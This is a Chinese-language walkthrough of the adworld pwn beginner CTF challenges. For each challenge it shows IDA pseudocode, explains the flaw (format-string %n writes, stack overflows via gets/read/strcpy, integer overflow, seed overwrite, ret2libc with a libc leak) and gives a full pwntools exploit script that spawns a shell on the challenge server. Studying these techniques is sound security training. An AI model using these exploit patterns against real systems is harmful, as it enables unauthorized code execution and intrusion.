adworld-pwn新手练习区
get_shell
学会第一步nc
CGfbs
IDA反汇编得到伪代码:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-82h] [ebp-82h] int v5; // [esp-7Eh] [ebp-7Eh] __int16 v6; // [esp-7Ah] [ebp-7Ah] int v7; // [esp-78h] [ebp-78h] unsigned int v8; // [esp-14h] [ebp-14h] v8 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); v4 = 0; v5 = 0; v6 = 0; memset(&v7, 0, 0x64u); puts("please tell me your name:"); read(0, &v4, 0xAu); puts("leave your message please:"); fgets((char *)&v7, 100, stdin); printf("hello %s", &v4); puts("your message is:"); printf((const char *)&v7); if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); } else { puts("Thank you!"); } return 0; }
关键是:
printf((const char *)&v7);
V爷爷这么说:
所以没有format参数的printf()函数就造成了->格式化字符串漏洞
这道题要求我们使pwnme变量变成8,所以,利用该漏洞实现任意位置写,关键是
(1)printf( )的%n说明符可以向指定变量中写入之前输入的总字符串长度
(2)$操作符可以指定参数输出位置
所以得到整体思路如下:
先得到我们写入的字符串在栈中的偏移量,利用该偏移量实现在pwnme_addr的位置写入8:
exp如下:
from pwn import * p=remote('111.198.29.45','59495') #远程连接 pwnme_addr=0x0804A068 #pwnme地址,为整型变量 payload=p32(pwnme_addr)+'aaaa'+'%10$n' #p32()转换整数到小端序格式,p32转换4字节,p64和p16则分别转换8byte和2byte数字 #pwnme地址为四个字节长度,字符a凑个数,%n(之前输出的字符串长度)的数为8 #%10$实现在偏移量为10处写入 p.recvuntil("please tell me your name:\n") #recvuntil(some_string) 接收到 some_string 为止 p.sendline('xxxx') #sendline(payload) 发送payload,并进行换行(末尾\n) p.recvuntil("leave your message please:\n") p.sendline(payload) p.interactive() #interactive()在终端里将命令传送到远程服务器,pwntools自动接收输出并回显
when_did_you_born
64bit反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax char v4; // [rsp+0h] [rbp-20h] unsigned int v5; // [rsp+8h] [rbp-18h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("What's Your Birth?"); __isoc99_scanf("%d", &v5); while ( getchar() != '\n' ) ; if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d\n", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); } else { puts("You Are Naive."); puts("You Speed One Second Here."); } result = 0LL; } return result; }
要求我们第一次的判断v5!=1926,第二次的判断v5==1926,于是利用两次判断中间的操作:gets( )函数漏洞(即:gets( )不会检查输入的字符串长度,只以换行符判断输入的结束)实现覆盖v5为1926,exp如下:
from pwn import * p=remote('111.198.29.45','51041') payload='a'*0x8+p64(1926) #在IDA中可以看到v4和v5之间相差0x8h p.recvuntil("What's Your Birth?\n") p.sendline('2000') p.recvuntil("What's Your Name?\n") p.sendline(payload) p.interactive()
hello_pwn
64bit反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); read(0, &unk_601068, 0x10uLL); if ( dword_60106C == 1853186401 ) sub_400686(0LL, &unk_601068); return 0LL; }
要求我们,利用输入的unk_601068变量覆盖其后四个字节dword_60106C为指定的内容,于是exp如下:
from pwn import * p=remote('111.198.29.45','41532') payload='a'*0x4+p64(1853186401) #在IDA中看到bss段中unk_601068和dword_60106C相差4 p.recvuntil("~~ welcome to ctf ~~ \n") p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive()
注:
这里p64( )会将整型转换成小端序列传给远端程序,若我们直接输入字符串,需要注意逆置成小端序列传入(内存与寄存器存储序列相反)
level0
64bit反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); }
跟进vulnerable_function( ):
ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); }
同时看到:
于是大致思路应该是利用read( )函数实现栈溢出,将返回地址覆盖成callsystem( )函数的地址进行执行,exp如下:
from pwn import * p=remote('111.198.29.45','36707') payload='a'*0x80+'xxxxxxxxx'+p64(0x000000000040059A) p.sendline(payload) p.interactive()
注:
vulnerable_function( )函数的汇编指令在返回指令之前还有一步leave( )指令:
;相当于---> mov rsp,rbp pop rbp
其中pop操作会把64位二进制弹出栈,因此需要传入'xxxxxxx'覆盖这一部分的字符,观察栈中buf的结构也可以得到这一点:
level2
32bit反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'"); return 0; } ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); }
main( )函数的汇编指令:
同时在string中看到:
跟进找到地址,
于是,大致思路应该是通过read( )函数传入字符串覆盖buf,同时将返回地址覆盖成system( )函数,再将我们的‘/bin/sh’作为参数传进system( )函数,getshell,exp如下:
from pwn import * p=remote('111.198.29.45',43927) payload='a'*0x88+'xxxx'+p32(0x0804845C)+p32(0x0804A024) p.sendline(payload) p.interactive()
string*
64bit反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { _DWORD *v3; // rax __int64 v4; // ST18_8 setbuf(stdout, 0LL); alarm(0x3Cu); sub_400996(); v3 = malloc(8uLL); v4 = (__int64)v3; *v3 = 68; v3[1] = 85; puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ..."); puts("we will tell you two secret ..."); printf("secret[0] is %x\n", v4, a2); printf("secret[1] is %x\n", v4 + 4); puts("do not tell anyone "); sub_400D72(v4); puts("The End.....Really?"); return 0LL; }
这一部分关键是输出了v4和v4+4,也就是v3的地址和v3[1]的地址
注:%x输出十六进制内容,而v4中存储的是v3,v3又是malloc( )函数的返回值,为分配空间的首地址
跟进sub_400D72( )函数:
unsigned __int64 __fastcall sub_400D72(__int64 a1) { char s; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("What should your character's name be:"); _isoc99_scanf("%s", &s); if ( strlen(&s) <= 0xC ) { puts("Creating a new player."); sub_400A7D(); sub_400BB9(); sub_400CA6((_DWORD *)a1); } else { puts("Hei! What's up!"); } return __readfsqword(0x28u) ^ v3; }
这一部分首先要求我们先输入一个长度小于等于12的字符串,接着跟进sub_400A70( ),发现要求我们输入east,接着是sub_200BB9( ):
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf("%ld", &v2); puts("And, you wish is:"); _isoc99_scanf("%s", &format); puts("Your wish is"); printf(&format, &format); puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
这一部分又是关键,首先要求我们输入1,然后看到
printf(&format);
格式化字符串漏洞,最后我们看看sub_400CA6( ),
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
关键是
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
于是,这句话的意思是:将v1强制类型转换成返回值为void,协议为_fastcall,参数为任意类型的函数指针,最后执行v1,因此我们可以利用这句话和上面的read( )执行shell,而执行的条件是*a1==a1[1],即v3[0]==v3[1],接下来就是想办法利用上面那个格式化字符串漏洞还有一开始程序给我们的v3地址实现这一点:我们将v3地址输入到v2中,查看栈结构得到偏移量利用%n进行写入
exp如下:
from pwn import * context(arch='amd64',os='linux') #用于生成64bit下的shellcode p=remote('111.198.29.45',36843) payload1='Theffth' payload2='east' payload3='1' #payload为字符串形式 p.recvuntil("secret[0] is ") #远程程序输出位置 addr=int(p.recvuntil("\n")[:-1],16) #将输出的十六进制数转换成十进制数 payload4=str(addr) #转换成字符串形式 payload5='%85c%7$n' #见下说明 payload6=asm(shellcraft.sh()) #生成shellcode,以执行反弹shell p.recvuntil("What should your character's name be:\n") p.sendline(payload1) p.recvuntil("So, where you will go?east or up?:\n") p.sendline(payload2) p.recvuntil("go into there(1), or leave(0)?:\n") p.sendline(payload3) p.recvline("'Give me an address'\n") p.sendline(payload4) #此处程序要求输入十进制数,没看清死在这里数小时>_< p.recvuntil("And, you wish is:\n") p.sendline(payload5) p.recvuntil("Wizard: I will help you! USE YOU SPELL\n") p.sendline(payload6) p.interactve()
注:
1.利用pwntools生成shellcode:
#64位为amd64,默认生成32位 shellcode=asm(shellcraft.sh())
2.得到偏移量为7的两种方式:
补充:
在64位环境下,函数的调用所需要的参数是优先通过寄存器来进行的。寄存器的顺序如下:rdi,rsi,rdx,rcx,r8,r9。当一个函数有大于6个整型参数,则超出的部分会通过栈来传递。所以上面查看栈顶指针rsp得到偏移量为1,但实际上为1+6=7.
guess_num
64bit反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] char v7; // [rsp+10h] [rbp-30h] unsigned int seed[2]; // [rsp+30h] [rbp-10h] unsigned __int64 v9; // [rsp+38h] [rbp-8h] v9 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); v4 = 0; v6 = 0; *(_QWORD *)seed = sub_BB0(); puts("-------------------------------"); puts("Welcome to a guess number game!"); puts("-------------------------------"); puts("Please let me know your name!"); printf("Your name:", 0LL); gets(&v7); srand(seed[0]); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v4); puts("---------------------------------"); if ( v4 != v6 ) { puts("GG!"); exit(1); } puts("Success!"); } sub_C3E(); return 0LL; }
程序要求我们在10轮游戏都输入与它的随机数相同的数字,在这里,如果srand( )函数的种子相同的话,则生成伪随机数,即每一次得到的数字是相同且可知的,于是我们利用危险函数gets( )覆盖下一条语句中的种子seed[0],在IDA栈中可以看到v7和seed[2]之间偏移0x20,于是构造exp如下:
from pwn import * from ctypes import * #python标准库中混合python和C编程的模块 p=remote('111.198.29.45',51705) libc= #在linux下使用:ldd 文件名 可以得到该文件需要链接的动态链接库和路径 payload='a'*0x20+p64(1) p.recvuntil("Your name:") #程序使用printf()函数输出,不带自动换行符 p.sendline(payload) libc.srand(1) for i in range (10): payload2=str(libc.rand()%6+1) #C语言中的到随机数的方式 p.recvuntil("Please input your guess number:") p.sendline(payload2) p.interactive()
int_overflow
32位反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
跟进login( )函数:
char *login() { char buf; // [esp+0h] [ebp-228h] char s; // [esp+200h] [ebp-28h] memset(&s, 0, 0x20u); memset(&buf, 0, 0x200u); puts("Please input your username:"); read(0, &s, 0x19u); printf("Hello %s\n", &s); puts("Please input your passwd:"); read(0, &buf, 0x199u); return check_passwd(&buf); }
继续跟进check_passwd( ):
char *__cdecl check_passwd(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); } return result; }
发现要求v3的长度在4-8之间才会puts("Success"),同时strcpy( )也不会限制源字符串的长度,直接进行拷贝,是危险函数,我们可以利用这一点实现栈溢出,同时:
dest在栈中结构:
因此构造payload='a'*0x14+'xxxx'+p32(0x0804868B),实现栈溢出并执行what_is_this函数。但是要做到这一点必须满足if( )条件判断,观察到v3为unsigned __int8,也就是0-255,所以利用整型溢出,使我们的s长度在260-264即可,exp如下:
from pwn import * p=remote('111.198.29.45',40442) payload='a'*0x14+'aaaa'+p32(0x0804868B) payload=payload.ljust(260,'a') #ljust()函数使输入的字符串左对齐,空余处填充字符,上一行也相当于:payload=payload+'a'*232 p.recvuntil("Your choice:") p.sendline('1') p.recvuntil("Please input your username:\n") p.sendline('Theffth') p.recvuntil("Please input your passwd:\n") p.sendline(payload) p.interactive()
cgpwn2
这道题题目中的字符串还有函数中上面的一堆代码都是吓人的emm,32bit反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); hello(); puts("thank you"); return 0; }
跟进hello( )函数,
char *hello() { char *v0; // eax signed int v1; // ebx unsigned int v2; // ecx char *v3; // eax char s; // [esp+12h] [ebp-26h] int v6; // [esp+14h] [ebp-24h] v0 = &s; v1 = 30; if ( (unsigned int)&s & 2 ) // S!=1 { *(_WORD *)&s = 0; v0 = (char *)&v6; v1 = 28; } v2 = 0; do { *(_DWORD *)&v0[v2] = 0; v2 += 4; } while ( v2 < (v1 & 0xFFFFFFFC) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0; v3 += 2; } if ( v1 & 1 ) *v3 = 0; puts("please tell me your name"); fgets(name, 50, stdin); puts("hello,you can leave some message here:"); return gets(&s); }
发现我们可以利用的就是两个危险的输入函数,用来实现执行拿到shell的函数,但是这次没有/bin/sh了,需要我们自己写入,这就利用了第一个fgets( )函数,它的第一个参数name是一个全局变量,可以存放我们的/bin/sh,之后就是利用gets( )函数实现栈溢出执行system函数:
exp如下:
from pwn import * p=remote('111.198.29.45',42193) payload1='/bin/sh' payload2='a'*(0x26+0x4)+p32(0x08048420)+'xxxx'+p32(0x0804A080) p.recv() #接受消息直到\n结束 p.sendline(payload1) p.recv() p.sendline(payload2) p.interactive()
注:
这道题和level2那道题正好是一个系列,都是通过栈溢出执行system(/bin/sh)指令,但是level2在数据段提供了/bin/sh:
这道题需要我们把指令写入变量bss段:
除此之外,这道题在执行了plt的system指令后还利用了'xxxx':
payload2='a'*(0x26+0x4)+p32(0x08048420)+'xxxx'+p32(0x0804A080)
首先利用无用字符覆盖栈造成溢出,将返回地址覆盖成plt的system函数,接着执行system函数,而这时system函数也会有一个返回地址,而在执行完system函数后它的返回地址已经没有利用意义了,所以也用无用字符覆盖,在返回地址之后的栈帧中存储的便是传入的参数,这时传入我们的name即可。
同时发现level2并没有覆盖system 函数的返回地址:
payload='a'*0x88+'xxxx'+p32(0x0804845C)+p32(0x0804A024)
这是因为:
我们这里返回地址覆盖的是call system指令,而不是像上面执行plt中的system函数,所以没有system函数返回地址(?在函数调用中压栈后弹栈),栈中下一个参数就是函数的参数。
level3
这道题首先得到压缩包,分析后提取出libc库文件和程序的elf文件,大大降低了难度(网太差了,死活装不上libcsearcher...),首先分析32位反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; }
跟进vulnerable_function( ):
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); }
可以看到read( )函数明显是栈溢出点,同时这道题目告诉我们没有给出system,所以大致思路就是:
利用read( )函数的上一个write( )函数结合题目给出的libc动态链接库题目给出的libc动态链接库->泄露出本次网络连接时write( )函数的实际地址->从而推算出libc基址,利用偏移量得到system的地址,通过两次栈溢出拿到shell,exp如下:
from pwn import * p=remote('111.198.29.45',50134) elf=ELF('./level3') libc=ELF('./libc1') #从压缩包中提取的两个文件 write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] #elf模块提供了一种便捷的方式来迅速得到文件内函数的地址、plt位置和got表位置 payload='a'*0x88+'xxxx'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #见下说明1 p.recvuntil("Input:\n") p.sendline(payload) #第一次栈溢出,拿到实际地址 write_got_addr=u32(p.recv(4)) #32位得到4个字节的write_got地址,利用u32解析成32位整型 libc_addr=write_got_addr-libc.symbols['write'] sys_addr=libc_addr+libc.symbols['system'] bin_sh_libc=libc.search("/bin/sh").next() #在libc中直接搜索的到binsh的地址 bin_sh_addr=libc_addr+bin_sh_libc payload1='a'*0x88+'xxxx'+p32(sys_addr)+'xxxx'+p32(bin_sh_addr) #见下说明2 p.recvuntil("Input:\n") p.sendline(payload1) #第二次栈溢出 p.interactive()
说明1:
payload='a'*0x88+'xxxx'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
write( )函数泄露,通过elf获得write函数在plt表和got表中的地址,'xxxx'用于覆盖EBP,返回地址覆盖成主函数(vulnerable_function()同),以进行第二次栈溢出,接下来是write函数的三个参数:
write(fd, addr, len)
其中,1为标准输出流sdout,write_got为要泄露的地址,4代表输出4个字节。
说明2:
payload1='a'*0x88+'xxxx'+p32(sys_addr)+'xxxx'+p32(bin_sh_addr)
第二次栈溢出,这次执行system( )函数并传入参数/bin/sh
此处地址的计算:
libc_addr=leak_addr-leak_libc(函数泄露的实际地址-函数在libc中的地址)
system_addr=libc_base+system_libc
bin_sh_addr=libc_addr+bin_sh_addr
注:
此次攻击原理:libc中的函数的相对地址是固定的
补充plt和got:https://blog.csdn.net/linyt/article/details/51635768